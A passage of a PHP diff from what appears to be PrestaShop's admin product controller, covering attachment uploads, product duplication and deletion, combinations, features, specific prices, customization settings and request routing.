...*/ + $nb = count($this->_list); + if ($this->_list) + { + /* update product final price */ + for ($i = 0; $i < $nb; $i++) + { + // convert price with the currency from context + $this->_list[$i]['price'] = Tools::convertPrice($this->_list[$i]['price'], $this->context->currency, true, $this->context); + $this->_list[$i]['price_tmp'] = Product::getPriceStatic($this->_list[$i]['id_product'], true, null, 2, null, false, true, 1, true); + } + } + + if ($orderByPriceFinal == 'price_final') + { + if (strtolower($orderWayPriceFinal) == 'desc') + uasort($this->_list, 'cmpPriceDesc'); + else + uasort($this->_list, 'cmpPriceAsc'); + } + for ($i = 0; $this->_list && $i < $nb; $i++) + { + $this->_list[$i]['price_final'] = $this->_list[$i]['price_tmp']; + unset($this->_list[$i]['price_tmp']); + } + } + + protected function loadObject($opt = false) + { + $result = parent::loadObject($opt); + if ($result && Validate::isLoadedObject($this->object)) + { + if (Shop::getContext() == Shop::CONTEXT_SHOP && !$this->object->isAssociatedToShop()) + { + $default_product = new Product((int)$this->object->id, false, null, (int)$this->object->id_shop_default); + $def = ObjectModel::getDefinition($this->object); + foreach ($def['fields'] as $field_name => $row) + $this->object->$field_name = $default_product->$field_name; + } + $this->object->loadStockData(); + } + return $result; + } + + public function ajaxProcessGetCountriesOptions() + { + if (!$res = Country::getCountriesByIdShop((int)Tools::getValue('id_shop'), (int)$this->context->language->id)) + return ; + + $tpl = $this->createTemplate('specific_prices_shop_update.tpl'); + $tpl->assign(array( + 'option_list' => $res, + 'key_id' => 'id_country', + 'key_value' => 'name' + ) + ); + + $this->content = $tpl->fetch(); + } + + public function ajaxProcessGetCurrenciesOptions() + { + if (!$res = Currency::getCurrenciesByIdShop((int)Tools::getValue('id_shop'))) + return ; + + $tpl = $this->createTemplate('specific_prices_shop_update.tpl'); + $tpl->assign(array( + 'option_list' => $res, + 'key_id' => 'id_currency', + 'key_value' => 'name' + ) + ); + + $this->content = $tpl->fetch(); + } + + public function ajaxProcessGetGroupsOptions() + { + if (!$res = Group::getGroups((int)$this->context->language->id, (int)Tools::getValue('id_shop'))) + return ; + + $tpl = $this->createTemplate('specific_prices_shop_update.tpl'); + $tpl->assign(array( + 'option_list' => $res, + 'key_id' => 'id_group', + 'key_value' => 'name' + ) + ); + + $this->content = $tpl->fetch(); + } + + public function ajaxProcessDeleteVirtualProduct() + { + if (!($id_product_download = ProductDownload::getIdFromIdProduct((int)Tools::getValue('id_product')))) + $this->jsonError($this->l('Cannot retrieve file')); + else + { + $product_download = new ProductDownload((int)$id_product_download); + if (!$product_download->deleteFile((int)$id_product_download)) + $this->jsonError($this->l('Cannot delete file')); + else + $this->jsonConfirmation($this->_conf[1]); + } + } + + /** + * Upload new attachment + * + * @return void + */ + public function processAddAttachments() + { + $languages = Language::getLanguages(false); + $is_attachment_name_valid = false; + foreach ($languages as $language) + { + $attachment_name_lang = Tools::getValue('attachment_name_'.(int)($language['id_lang'])); + if (Tools::strlen($attachment_name_lang ) > 0) + $is_attachment_name_valid = true; + + if (!Validate::isGenericName(Tools::getValue('attachment_name_'.(int)($language['id_lang'])))) + $this->errors[] = Tools::displayError('Invalid Name'); + elseif (Tools::strlen(Tools::getValue('attachment_name_'.(int)($language['id_lang']))) > 32) + $this->errors[] = sprintf(Tools::displayError('The name is too long (%d chars max).'), 32); + if (!Validate::isCleanHtml(Tools::getValue('attachment_description_'.(int)($language['id_lang'])))) + $this->errors[] = Tools::displayError('Invalid description'); + } + if (!$is_attachment_name_valid) + $this->errors[] = Tools::displayError('An attachment name is required.'); + + if (empty($this->errors)) + { + if (isset($_FILES['attachment_file']) && is_uploaded_file($_FILES['attachment_file']['tmp_name'])) + { + if ($_FILES['attachment_file']['size'] > (Configuration::get('PS_ATTACHMENT_MAXIMUM_SIZE') * 1024 * 1024)) + $this->errors[] = sprintf( + $this->l('The file is too large. Maximum size allowed is: %1$d kB. The file you\'re trying to upload is: %2$d kB.'), + (Configuration::get('PS_ATTACHMENT_MAXIMUM_SIZE') * 1024), + number_format(($_FILES['attachment_file']['size'] / 1024), 2, '.', '') + ); + else + { + do $uniqid = sha1(microtime()); + while (file_exists(_PS_DOWNLOAD_DIR_.$uniqid)); + if (!copy($_FILES['attachment_file']['tmp_name'], _PS_DOWNLOAD_DIR_.$uniqid)) + $this->errors[] = $this->l('File copy failed'); + @unlink($_FILES['attachment_file']['tmp_name']); + } + } + elseif ((int)$_FILES['attachment_file']['error'] === 1) + { + $max_upload = (int)ini_get('upload_max_filesize'); + $max_post = (int)ini_get('post_max_size'); + $upload_mb = min($max_upload, $max_post); + $this->errors[] = sprintf( + $this->l('The file %1$s exceeds the size allowed by the server. The limit is set to %2$d MB.'), + '<b>'.$_FILES['attachment_file']['name'].'</b> ', + '<b>'.$upload_mb.'</b>' + ); + } + else + $this->errors[] = Tools::displayError('The file is missing.'); + + if (empty($this->errors) && isset($uniqid)) + { + $attachment = new Attachment(); + foreach ($languages as $language) + { + if (Tools::getIsset('attachment_name_'.(int)$language['id_lang'])) + $attachment->name[(int)$language['id_lang']] = Tools::getValue('attachment_name_'.(int)$language['id_lang']); + if (Tools::getIsset('attachment_description_'.(int)$language['id_lang'])) + $attachment->description[(int)$language['id_lang']] = Tools::getValue('attachment_description_'.(int)$language['id_lang']); + } + $attachment->file = $uniqid; + $attachment->mime = $_FILES['attachment_file']['type']; + $attachment->file_name = $_FILES['attachment_file']['name']; + if (empty($attachment->mime) || Tools::strlen($attachment->mime) > 128) + $this->errors[] = Tools::displayError('Invalid file extension'); + if (!Validate::isGenericName($attachment->file_name)) + $this->errors[] = Tools::displayError('Invalid file name'); + if (Tools::strlen($attachment->file_name) > 128) + $this->errors[] = Tools::displayError('The file name is too long.'); + if (empty($this->errors)) + { + $res = $attachment->add(); + if (!$res) + $this->errors[] = Tools::displayError('This attachment was unable to be loaded into the database.'); + else + { + $id_product = (int)Tools::getValue($this->identifier); + $res = $attachment->attachProduct($id_product); + if (!$res) + $this->errors[] = Tools::displayError('We were unable to associate this attachment to a product.'); + } + } + else + $this->errors[] = Tools::displayError('Invalid file'); + } + } + } + + /** + * Attach an existing attachment to the product + * + * @return void + */ + public function processAttachments() + { + if ($id = (int)Tools::getValue($this->identifier)) + { + $attachments = trim(Tools::getValue('arrayAttachments'), ','); + $attachments = explode(',', $attachments); + if (!Attachment::attachToProduct($id, $attachments)) + $this->errors[] = Tools::displayError('An error occurred while saving product attachments.'); + } + } + + public function processDuplicate() + { + if (Validate::isLoadedObject($product = new Product((int)Tools::getValue('id_product')))) + { + $id_product_old = $product->id; + if (empty($product->price) && Shop::getContext() == Shop::CONTEXT_GROUP) + { + $shops = ShopGroup::getShopsFromGroup(Shop::getContextShopGroupID()); + foreach ($shops as $shop) + if ($product->isAssociatedToShop($shop['id_shop'])) + { + $product_price = new Product($id_product_old, false, null, $shop['id_shop']); + $product->price = $product_price->price; + } + } + unset($product->id); + unset($product->id_product); + $product->indexed = 0; + $product->active = 0; + if ($product->add() + && Category::duplicateProductCategories($id_product_old, $product->id) + && ($combination_images = Product::duplicateAttributes($id_product_old, $product->id)) !== false + && GroupReduction::duplicateReduction($id_product_old, $product->id) + && Product::duplicateAccessories($id_product_old, $product->id) + && Product::duplicateFeatures($id_product_old, $product->id) + && Product::duplicateSpecificPrices($id_product_old, $product->id) + && Pack::duplicate($id_product_old, $product->id) + && Product::duplicateCustomizationFields($id_product_old, $product->id) + && Product::duplicateTags($id_product_old, $product->id) + && Product::duplicateDownload($id_product_old, $product->id)) + { + if ($product->hasAttributes()) + Product::updateDefaultAttribute($product->id); + + if (!Tools::getValue('noimage') && !Image::duplicateProductImages($id_product_old, $product->id, $combination_images)) + $this->errors[] = Tools::displayError('An error occurred while copying images.'); + else + { + Hook::exec('actionProductAdd', array('product' => $product)); + if (in_array($product->visibility, array('both', 'search')) && Configuration::get('PS_SEARCH_INDEXATION')) + Search::indexation(false, $product->id); + $this->redirect_after = self::$currentIndex.(Tools::getIsset('id_category') ? '&id_category='.(int)Tools::getValue('id_category') : '').'&conf=19&token='.$this->token; + } + } + else + $this->errors[] = Tools::displayError('An error occurred while creating an object.'); + } + } + + public function processDelete() + { + if (Validate::isLoadedObject($object = $this->loadObject()) && isset($this->fieldImageSettings)) + { + // check if request at least one object with noZeroObject + if (isset($object->noZeroObject) && count($taxes = call_user_func(array($this->className, $object->noZeroObject))) <= 1) + $this->errors[] = Tools::displayError('You need at least one object.').' <b>'.$this->table.'</b><br />'.Tools::displayError('You cannot delete all of the items.'); + else + { + /* + * @since 1.5.0 + * It is NOT possible to delete a product if there are currently: + * - physical stock for this product + * - supply order(s) for this product + */ + if (Configuration::get('PS_ADVANCED_STOCK_MANAGEMENT') && $object->advanced_stock_management) + { + $stock_manager = StockManagerFactory::getManager(); + $physical_quantity = $stock_manager->getProductPhysicalQuantities($object->id, 0); + $real_quantity = $stock_manager->getProductRealQuantities($object->id, 0); + if ($physical_quantity > 0 || $real_quantity > $physical_quantity) + $this->errors[] = Tools::displayError('You cannot delete this product because there\'s physical stock left.'); + } + + if (!count($this->errors)) + { + if ($object->delete()) + { + $id_category = (int)Tools::getValue('id_category'); + $category_url = empty($id_category) ? '' : '&id_category='.(int)$id_category; + $this->redirect_after = self::$currentIndex.'&conf=1&token='.$this->token.$category_url; + } + else + $this->errors[] = Tools::displayError('An error occurred during deletion.'); + } + } + } + else + $this->errors[] = Tools::displayError('An error occurred while deleting the object.').' <b>'.$this->table.'</b> '.Tools::displayError('(cannot load object)'); + } + + public function processImage() + { + $id_image = (int)Tools::getValue('id_image'); + $image = new Image((int)$id_image); + if (Validate::isLoadedObject($image)) + { + /* Update product image/legend */ + // @todo : move in processEditProductImage + if (Tools::getIsset('editImage')) + { + if ($image->cover) + $_POST['cover'] = 1; + + $_POST['id_image'] = $image->id; + } + + /* Choose product cover image */ + elseif (Tools::getIsset('coverImage')) + { + Image::deleteCover($image->id_product); + $image->cover = 1; + if (!$image->update()) + $this->errors[] = Tools::displayError('You cannot change the product\'s cover image.'); + else + { + $productId = (int)Tools::getValue('id_product'); + @unlink(_PS_TMP_IMG_DIR_.'product_'.$productId.'.jpg'); + @unlink(_PS_TMP_IMG_DIR_.'product_mini_'.$productId.'.jpg'); + $this->redirect_after = self::$currentIndex.'&id_product='.$image->id_product.'&id_category='.(Tools::getIsset('id_category') ? '&id_category='.(int)Tools::getValue('id_category') : '').'&action=Images&addproduct'.'&token='.$this->token; + } + } + + /* Choose product image position */ + elseif (Tools::getIsset('imgPosition') && Tools::getIsset('imgDirection')) + { + $image->updatePosition(Tools::getValue('imgDirection'), Tools::getValue('imgPosition')); + $this->redirect_after = self::$currentIndex.'&id_product='.$image->id_product.'&id_category='.(Tools::getIsset('id_category') ? '&id_category='.(int)Tools::getValue('id_category') : '').'&add'.$this->table.'&action=Images&token='.$this->token; + } + } + else + $this->errors[] = Tools::displayError('The image could not be found. '); + } + + protected function processBulkDelete() + { + if ($this->tabAccess['delete'] === '1') + { + if (is_array($this->boxes) && !empty($this->boxes)) + { + $object = new $this->className(); + + if (isset($object->noZeroObject) && + // Check if all object will be deleted + (count(call_user_func(array($this->className, $object->noZeroObject))) <= 1 || count($_POST[$this->table.'Box']) == count(call_user_func(array($this->className, $object->noZeroObject))))) + $this->errors[] = Tools::displayError('You need at least one object.').' <b>'.$this->table.'</b><br />'.Tools::displayError('You cannot delete all of the items.'); + else + { + $success = 1; + $products = Tools::getValue($this->table.'Box'); + if (is_array($products) && ($count = count($products))) + { + // Deleting products can be quite long on a cheap server. Let's say 1.5 seconds by product (I've seen it!). + if (intval(ini_get('max_execution_time')) < round($count * 1.5)) + ini_set('max_execution_time', round($count * 1.5)); + + if (Configuration::get('PS_ADVANCED_STOCK_MANAGEMENT')) + $stock_manager = StockManagerFactory::getManager(); + + foreach ($products as $id_product) + { + $product = new Product((int)$id_product); + /* + * @since 1.5.0 + * It is NOT possible to delete a product if there are currently: + * - physical stock for this product + * - supply order(s) for this product + */ + if (Configuration::get('PS_ADVANCED_STOCK_MANAGEMENT') && $product->advanced_stock_management) + { + $physical_quantity = $stock_manager->getProductPhysicalQuantities($product->id, 0); + $real_quantity = $stock_manager->getProductRealQuantities($product->id, 0); + if ($physical_quantity > 0 || $real_quantity > $physical_quantity) + $this->errors[] = sprintf(Tools::displayError('You cannot delete the product #%d because there is physical stock left.'), $product->id); + } + if (!count($this->errors)) + $success &= $product->delete(); + else + $success = 0; + } + } + + if ($success) + { + $id_category = (int)Tools::getValue('id_category'); + $category_url = empty($id_category) ? '' : '&id_category='.(int)$id_category; + $this->redirect_after = self::$currentIndex.'&conf=2&token='.$this->token.$category_url; + } + else + $this->errors[] = Tools::displayError('An error occurred while deleting this selection.'); + } + } + else + $this->errors[] = Tools::displayError('You must select at least one element to delete.'); + } + else + $this->errors[] = Tools::displayError('You do not have permission to delete this.'); + } + + public function processProductAttribute() + { + // Don't process if the combination fields have not been submitted + if (!Combination::isFeatureActive() || !Tools::getValue('attribute_combination_list')) + return; + + if (Validate::isLoadedObject($product = $this->object)) + { + if ($this->isProductFieldUpdated('attribute_price') && (!Tools::getIsset('attribute_price') || Tools::getIsset('attribute_price') == null)) + $this->errors[] = Tools::displayError('The price attribute is required.'); + if (!Tools::getIsset('attribute_combination_list') || Tools::isEmpty(Tools::getValue('attribute_combination_list'))) + $this->errors[] = Tools::displayError('You must add at least one attribute.'); + + if (!count($this->errors)) + { + if (!isset($_POST['attribute_wholesale_price'])) $_POST['attribute_wholesale_price'] = 0; + if (!isset($_POST['attribute_price_impact'])) $_POST['attribute_price_impact'] = 0; + if (!isset($_POST['attribute_weight_impact'])) $_POST['attribute_weight_impact'] = 0; + if (!isset($_POST['attribute_ecotax'])) $_POST['attribute_ecotax'] = 0; + if (Tools::getValue('attribute_default')) + $product->deleteDefaultAttributes(); + + // Change existing one + if (($id_product_attribute = (int)Tools::getValue('id_product_attribute')) || ($id_product_attribute = $product->productAttributeExists(Tools::getValue('attribute_combination_list'), false, null, true, true))) + { + if ($this->tabAccess['edit'] === '1') + { + + if ($this->isProductFieldUpdated('available_date_attribute') && !Validate::isDateFormat(Tools::getValue('available_date_attribute'))) + $this->errors[] = Tools::displayError('Invalid date format.'); + else + { + $product->updateAttribute((int)$id_product_attribute, + $this->isProductFieldUpdated('attribute_wholesale_price') ? Tools::getValue('attribute_wholesale_price') : null, + $this->isProductFieldUpdated('attribute_price_impact') ? Tools::getValue('attribute_price') * Tools::getValue('attribute_price_impact') : null, + $this->isProductFieldUpdated('attribute_weight_impact') ? Tools::getValue('attribute_weight') * Tools::getValue('attribute_weight_impact') : null, + $this->isProductFieldUpdated('attribute_unit_impact') ? Tools::getValue('attribute_unity') * Tools::getValue('attribute_unit_impact') : null, + $this->isProductFieldUpdated('attribute_ecotax') ? Tools::getValue('attribute_ecotax') : null, + Tools::getValue('id_image_attr'), + Tools::getValue('attribute_reference'), + Tools::getValue('attribute_ean13'), + $this->isProductFieldUpdated('attribute_default') ? Tools::getValue('attribute_default') : null, + Tools::getValue('attribute_location'), + Tools::getValue('attribute_upc'), + $this->isProductFieldUpdated('attribute_minimal_quantity') ? Tools::getValue('attribute_minimal_quantity') : null, + $this->isProductFieldUpdated('available_date_attribute') ? Tools::getValue('available_date_attribute') : null, false); + StockAvailable::setProductDependsOnStock((int)$product->id, $product->depends_on_stock, null, (int)$id_product_attribute); + StockAvailable::setProductOutOfStock((int)$product->id, $product->out_of_stock, null, (int)$id_product_attribute); + } + } + else + $this->errors[] = Tools::displayError('You do not have permission to add this.'); + } + // Add new + else + { + if ($this->tabAccess['add'] === '1') + { + if ($product->productAttributeExists(Tools::getValue('attribute_combination_list'))) + $this->errors[] = Tools::displayError('This combination already exists.'); + else + { + $id_product_attribute = $product->addCombinationEntity( + Tools::getValue('attribute_wholesale_price'), + Tools::getValue('attribute_price') * Tools::getValue('attribute_price_impact'), + Tools::getValue('attribute_weight') * Tools::getValue('attribute_weight_impact'), + Tools::getValue('attribute_unity') * Tools::getValue('attribute_unit_impact'), + Tools::getValue('attribute_ecotax'), + 0, + Tools::getValue('id_image_attr'), + Tools::getValue('attribute_reference'), + null, + Tools::getValue('attribute_ean13'), + Tools::getValue('attribute_default'), + Tools::getValue('attribute_location'), + Tools::getValue('attribute_upc'), + Tools::getValue('attribute_minimal_quantity') + ); + StockAvailable::setProductDependsOnStock((int)$product->id, $product->depends_on_stock, null, (int)$id_product_attribute); + StockAvailable::setProductOutOfStock((int)$product->id, $product->out_of_stock, null, (int)$id_product_attribute); + } + } + else + $this->errors[] = Tools::displayError('You do not have permission to').'<hr>'.Tools::displayError('edit here.'); + } + if (!count($this->errors)) + { + $combination = new Combination((int)$id_product_attribute); + $combination->setAttributes(Tools::getValue('attribute_combination_list')); + $product->checkDefaultAttributes(); + if (Tools::getValue('attribute_default')) + { + Product::updateDefaultAttribute((int)$product->id); + if(isset($id_product_attribute)) + $product->cache_default_attribute = (int)$id_product_attribute; + if ($available_date = Tools::getValue('available_date_attribute')) + $product->setAvailableDate($available_date); + } + } + } + } + } + + public function processFeatures() + { + if (!Feature::isFeatureActive()) + return; + + if (Validate::isLoadedObject($product = new Product((int)Tools::getValue('id_product')))) + { + // delete all objects + $product->deleteFeatures(); + + // add new objects + $languages = Language::getLanguages(false); + foreach ($_POST as $key => $val) + { + if (preg_match('/^feature_([0-9]+)_value/i', $key, $match)) + { + if ($val) + $product->addFeaturesToDB($match[1], $val); + else + { + if ($default_value = $this->checkFeatures($languages, $match[1])) + { + $id_value = $product->addFeaturesToDB($match[1], 0, 1); + foreach ($languages as $language) + { + if ($cust = Tools::getValue('custom_'.$match[1].'_'.(int)$language['id_lang'])) + $product->addFeaturesCustomToDB($id_value, (int)$language['id_lang'], $cust); + else + $product->addFeaturesCustomToDB($id_value, (int)$language['id_lang'], $default_value); + } + } + } + } + } + } + else + $this->errors[] = Tools::displayError('A product must be created before adding features.'); + } + + /** + * This function is never called at the moment (specific prices cannot be edited) + */ + public function processPricesModification() + { + $id_specific_prices = Tools::getValue('spm_id_specific_price'); + $id_combinations = Tools::getValue('spm_id_product_attribute'); + $id_shops = Tools::getValue('spm_id_shop'); + $id_currencies = Tools::getValue('spm_id_currency'); + $id_countries = Tools::getValue('spm_id_country'); + $id_groups = Tools::getValue('spm_id_group'); + $id_customers = Tools::getValue('spm_id_customer'); + $prices = Tools::getValue('spm_price'); + $from_quantities = Tools::getValue('spm_from_quantity'); + $reductions = Tools::getValue('spm_reduction'); + $reduction_types = Tools::getValue('spm_reduction_type'); + $froms = Tools::getValue('spm_from'); + $tos = Tools::getValue('spm_to'); + + foreach ($id_specific_prices as $key => $id_specific_price) + if ($this->_validateSpecificPrice($id_shops[$key], $id_currencies[$key], $id_countries[$key], $id_groups[$key], $id_customers[$key], $prices[$key], $from_quantities[$key], $reductions[$key], $reduction_types[$key], $froms[$key], $tos[$key], $id_combinations[$key])) + { + $specific_price = new SpecificPrice((int)($id_specific_price)); + $specific_price->id_shop = (int)$id_shops[$key]; + $specific_price->id_product_attribute = (int)$id_combinations[$key]; + $specific_price->id_currency = (int)($id_currencies[$key]); + $specific_price->id_country = (int)($id_countries[$key]); + $specific_price->id_group = (int)($id_groups[$key]); + $specific_price->id_customer = (int)$id_customers[$key]; + $specific_price->price = (float)($prices[$key]); + $specific_price->from_quantity = (int)($from_quantities[$key]); + $specific_price->reduction = (float)($reduction_types[$key] == 'percentage' ? ($reductions[$key] / 100) : $reductions[$key]); + $specific_price->reduction_type = !$reductions[$key] ? 'amount' : $reduction_types[$key]; + $specific_price->from = !$froms[$key] ? '0000-00-00 00:00:00' : $froms[$key]; + $specific_price->to = !$tos[$key] ? '0000-00-00 00:00:00' : $tos[$key]; + if (!$specific_price->update()) + $this->errors = Tools::displayError('An error occurred while updating the specific price.'); + } + if (!count($this->errors)) + $this->redirect_after = self::$currentIndex.'&id_product='.(int)(Tools::getValue('id_product')).(Tools::getIsset('id_category') ? '&id_category='.(int)Tools::getValue('id_category') : '').'&update'.$this->table.'&action=Prices&token='.$this->token; + + } + + public function processPriceAddition() + { + // Check if a specific price has been submitted + if (!Tools::getIsset('submitPriceAddition')) + return; + + $id_product = Tools::getValue('id_product'); + $id_product_attribute = Tools::getValue('sp_id_product_attribute'); + $id_shop = Tools::getValue('sp_id_shop'); + $id_currency = Tools::getValue('sp_id_currency'); + $id_country = Tools::getValue('sp_id_country'); + $id_group = Tools::getValue('sp_id_group'); + $id_customer = Tools::getValue('sp_id_customer'); + $price = Tools::getValue('leave_bprice') ? '-1' : Tools::getValue('sp_price'); + $from_quantity = Tools::getValue('sp_from_quantity'); + $reduction = (float)(Tools::getValue('sp_reduction')); + $reduction_type = !$reduction ? 'amount' : Tools::getValue('sp_reduction_type'); + $from = Tools::getValue('sp_from'); + if (!$from) + $from = '0000-00-00 00:00:00'; + $to = Tools::getValue('sp_to'); + if (!$to) + $to = '0000-00-00 00:00:00'; + if ($this->_validateSpecificPrice($id_shop, $id_currency, $id_country, $id_group, $id_customer, $price, $from_quantity, $reduction, $reduction_type, $from, $to, $id_product_attribute)) + { + $specificPrice = new SpecificPrice(); + $specificPrice->id_product = (int)$id_product; + $specificPrice->id_product_attribute = (int)$id_product_attribute; + $specificPrice->id_shop = (int)$id_shop; + $specificPrice->id_currency = (int)($id_currency); + $specificPrice->id_country = (int)($id_country); + $specificPrice->id_group = (int)($id_group); + $specificPrice->id_customer = (int)$id_customer; + $specificPrice->price = (float)($price); + $specificPrice->from_quantity = (int)($from_quantity); + $specificPrice->reduction = (float)($reduction_type == 'percentage' ? $reduction / 100 : $reduction); + $specificPrice->reduction_type = $reduction_type; + $specificPrice->from = $from; + $specificPrice->to = $to; + if (!$specificPrice->add()) + $this->errors = Tools::displayError('An error occurred while updating the specific price.'); + } + } + + public function ajaxProcessDeleteSpecificPrice() + { + if ($this->tabAccess['delete'] === '1') + { + $id_specific_price = (int)Tools::getValue('id_specific_price'); + if (!$id_specific_price || !Validate::isUnsignedId($id_specific_price)) + $error = Tools::displayError('The specific price ID is invalid.'); + else + { + $specificPrice = new SpecificPrice((int)$id_specific_price); + if (!$specificPrice->delete()) + $error = Tools::displayError('An error occurred while attempting to delete the specific price.'); + } + } + else + $error = Tools::displayError('You do not have permission to delete this.'); + + if (isset($error)) + $json = array( + 'status' => 'error', + 'message'=> $error + ); + else + $json = array( + 'status' => 'ok', + 'message'=> $this->_conf[1] + ); + + die(Tools::jsonEncode($json)); + } + + public function processSpecificPricePriorities() + { + if (!($obj = $this->loadObject())) + return; + if (!$priorities = Tools::getValue('specificPricePriority')) + $this->errors[] = Tools::displayError('Please specify priorities.'); + elseif (Tools::isSubmit('specificPricePriorityToAll')) + { + if (!SpecificPrice::setPriorities($priorities)) + $this->errors[] = Tools::displayError('An error occurred while updating priorities.'); + else + $this->confirmations[] = $this->l('The price rule has successfully updated'); + } + elseif (!SpecificPrice::setSpecificPriority((int)$obj->id, $priorities)) + $this->errors[] = Tools::displayError('An error occurred while setting priorities.'); + } + + public function processCustomizationConfiguration() + { + $product = $this->object; + // Get the number of existing customization fields ($product->text_fields is the updated value, not the existing value) + $current_customization = $product->getCustomizationFieldIds(); + $files_count = 0; + $text_count = 0; + if (is_array($current_customization)) + { + foreach ($current_customization as $field) + { + if ($field['type'] == 1) + $text_count++; + else + $files_count++; + } + } + + if (!$product->createLabels((int)$product->uploadable_files - $files_count, (int)$product->text_fields - $text_count)) + $this->errors[] = Tools::displayError('An error occurred while creating customization fields.'); + if (!count($this->errors) && !$product->updateLabels()) + $this->errors[] = Tools::displayError('An error occurred while updating customization fields.'); + $product->customizable = ($product->uploadable_files > 0 || $product->text_fields > 0) ? 1 : 0; + if (!count($this->errors) && !$product->update()) + $this->errors[] = Tools::displayError('An error occurred while updating the custom configuration.'); + } + + public function processProductCustomization() + { + if (Validate::isLoadedObject($product = new Product((int)Tools::getValue('id_product')))) + { + foreach ($_POST as $field => $value) + if (strncmp($field, 'label_', 6) == 0 && !Validate::isLabel($value)) + $this->errors[] = Tools::displayError('The label fields defined are invalid.'); + if (empty($this->errors) && !$product->updateLabels()) + $this->errors[] = Tools::displayError('An error occurred while updating customization fields.'); + if (empty($this->errors)) + $this->confirmations[] = $this->l('Update successful'); + } + else + $this->errors[] = Tools::displayError('A product must be created before adding customization.'); + } + + /** + * Overrides parent for custom redirect link + */ + public function processPosition() + { + if (!Validate::isLoadedObject($object = $this->loadObject())) + { + $this->errors[] = Tools::displayError('An error occurred while updating the status for an object.'). + ' <b>'.$this->table.'</b> '.Tools::displayError('(cannot load object)'); + } + elseif (!$object->updatePosition((int)Tools::getValue('way'), (int)Tools::getValue('position'))) + $this->errors[] = Tools::displayError('Failed to update the position.'); + else + { + $category = new Category((int)tools::getValue('id_category')); + if (Validate::isLoadedObject($category)) + Hook::exec('actionCategoryUpdate', array('category' => $category)); + $this->redirect_after = self::$currentIndex.'&'.$this->table.'Orderby=position&'.$this->table.'Orderway=asc&action=Customization&conf=5'.(($id_category = (Tools::getIsset('id_category') ? (int)Tools::getValue('id_category') : '')) ? ('&id_category='.$id_category) : '').'&token='.Tools::getAdminTokenLite('AdminProducts'); + } + } + + public function initProcess() + { + // Delete a product in the download folder + if (Tools::getValue('deleteVirtualProduct')) + { + if ($this->tabAccess['delete'] === '1') + $this->action = 'deleteVirtualProduct'; + else + $this->errors[] = Tools::displayError('You do not have permission to delete this.'); + } + // Product preview + elseif (Tools::isSubmit('submitAddProductAndPreview')) + { + $this->display = 'edit'; + $this->action = 'save'; + if (Tools::getValue('id_product')) + { + $this->id_object = Tools::getValue('id_product'); + $this->object = new Product((int)Tools::getValue('id_product')); + } + } + // Update attachments + elseif (Tools::isSubmit('submitAddAttachments')) + { + if ($this->tabAccess['add'] === '1') + { + $this->action = 'addAttachments'; + $this->tab_display = 'attachments'; + $this->display = 'edit'; + } + else + $this->errors[] = Tools::displayError('You do not have permission to add this.'); + } + elseif (Tools::isSubmit('submitAttachments')) + { + if ($this->tabAccess['edit'] === '1') + { + $this->action = 'attachments'; + $this->tab_display = 'attachments'; + } + else + $this->errors[] = Tools::displayError('You do not have permission to edit this.'); + } + // Product duplication + elseif (Tools::getIsset('duplicate'.$this->table)) + { + if ($this->tabAccess['add'] === '1') + $this->action = 'duplicate'; + else + $this->errors[] = Tools::displayError('You do not have permission to add this.'); + } + // Product images management + elseif (Tools::getValue('id_image') && Tools::getValue('ajax')) + { + if ($this->tabAccess['edit'] === '1') + $this->action = 'image'; + else + $this->errors[] = Tools::displayError('You do not have permission to edit this.'); + } + // Product attributes management + elseif (Tools::isSubmit('submitProductAttribute')) + { + if ($this->tabAccess['edit'] === '1') + $this->action = 'productAttribute'; + else + $this->errors[] = Tools::displayError('You do not have permission to edit this.'); + } + // Product features management + elseif (Tools::isSubmit('submitFeatures') || Tools::isSubmit('submitFeaturesAndStay')) + { + if ($this->tabAccess['edit'] === '1') + $this->action = 'features'; + else + $this->errors[] = Tools::displayError('You do not have permission to edit this.'); + } + // Product specific prices management NEVER USED + elseif (Tools::isSubmit('submitPricesModification')) + { + if ($this->tabAccess['add'] === '1') + $this->action = 'pricesModification'; + else + $this->errors[] = Tools::displayError('You do not have permission to add this.'); + } + elseif (Tools::isSubmit('deleteSpecificPrice')) + { + if ($this->tabAccess['delete'] === '1') + $this->action = 'deleteSpecificPrice'; + else + $this->errors[] = Tools::displayError('You do not have permission to delete this.'); + } + elseif (Tools::isSubmit('submitSpecificPricePriorities')) + { + if ($this->tabAccess['edit'] === '1') + { + $this->action = 'specificPricePriorities'; + $this->tab_display = 'prices'; + } + else + $this->errors[] = Tools::displayError('You do not have permission to edit this.'); + } + // Customization management + elseif (Tools::isSubmit('submitCustomizationConfiguration')) + { + if ($this->tabAccess['edit'] === '1') + { + $this->action = 'customizationConfiguration'; + $this->tab_display = 'customization'; + $this->display = 'edit'; + } + else + $this->errors[] = Tools::displayError('You do not have permission to edit this.'); + } + elseif (Tools::isSubmit('submitProductCustomization')) + { + if ($this->tabAccess['edit'] === '1') + { + $this->action = 'productCustomization'; + $this->tab_display = 'customization'; + $this->display = 'edit'; + } + else + $this->errors[] = Tools::displayError('You do not have permission to edit this.'); + } + + if (!$this->action) + parent::initProcess(); + else + $this->id_object = (int)Tools::getValue($this->identifier); + + if (isset($this->available_tabs[Tools::getValue('key_tab')])) + $this->tab_display = Tools::getValue('key_tab'); + + // Set tab to display if not decided already + if (!$this->tab_display && $this->action) + if (in_array($this->action, array_keys($this->available_tabs))) + $this->tab_display = $this->action; + + // And if still not set, use default + if (!$this->tab_display) + { + if (in_array($this->default_tab, $this->available_tabs)) + $this->tab_display = $this->default_tab; + else + $this->tab_display = key($this->available_tabs); + } + } + + /** + * postProcess handle every checks before saving products information + * + * @return void + */ + public function postProcess() + { + if (!$this->redirect_after) + parent::postProcess(); + + if ($this->display == 'edit' || $this->display == 'add') + { + $this->addjQueryPlugin(array( + 'autocomplete', + 'tablednd', + 'thickbox', + 'ajaxfileupload', + 'date' + )); + + $this->addJqueryUI(array( + 'ui.core', + 'ui.widget', + 'ui.accordion', + 'ui.slider', + 'ui.datepicker' + )); + + $this->addJS(array( + _PS_JS_DIR_.'productTabsManager.js', + _PS_JS_DIR_.'admin-products.js', + _PS_JS_DIR_.'attributesBack.js', + _PS_JS_DIR_.'price.js', + _PS_JS_DIR_.'tiny_mce/tiny_mce.js', + _PS_JS_DIR_.'tinymce.inc.js', + _PS_JS_DIR_.'fileuploader.js', + _PS_JS_DIR_.'admin-dnd.js', + _PS_JS_DIR_.'jquery/plugins/treeview-categories/jquery.treeview-categories.js', + _PS_JS_DIR_.'jquery/plugins/treeview-categories/jquery.treeview-categories.async.js', + _PS_JS_DIR_.'jquery/plugins/treeview-categories/jquery.treeview-categories.edit.js', + _PS_JS_DIR_.'admin-categories-tree.js', + 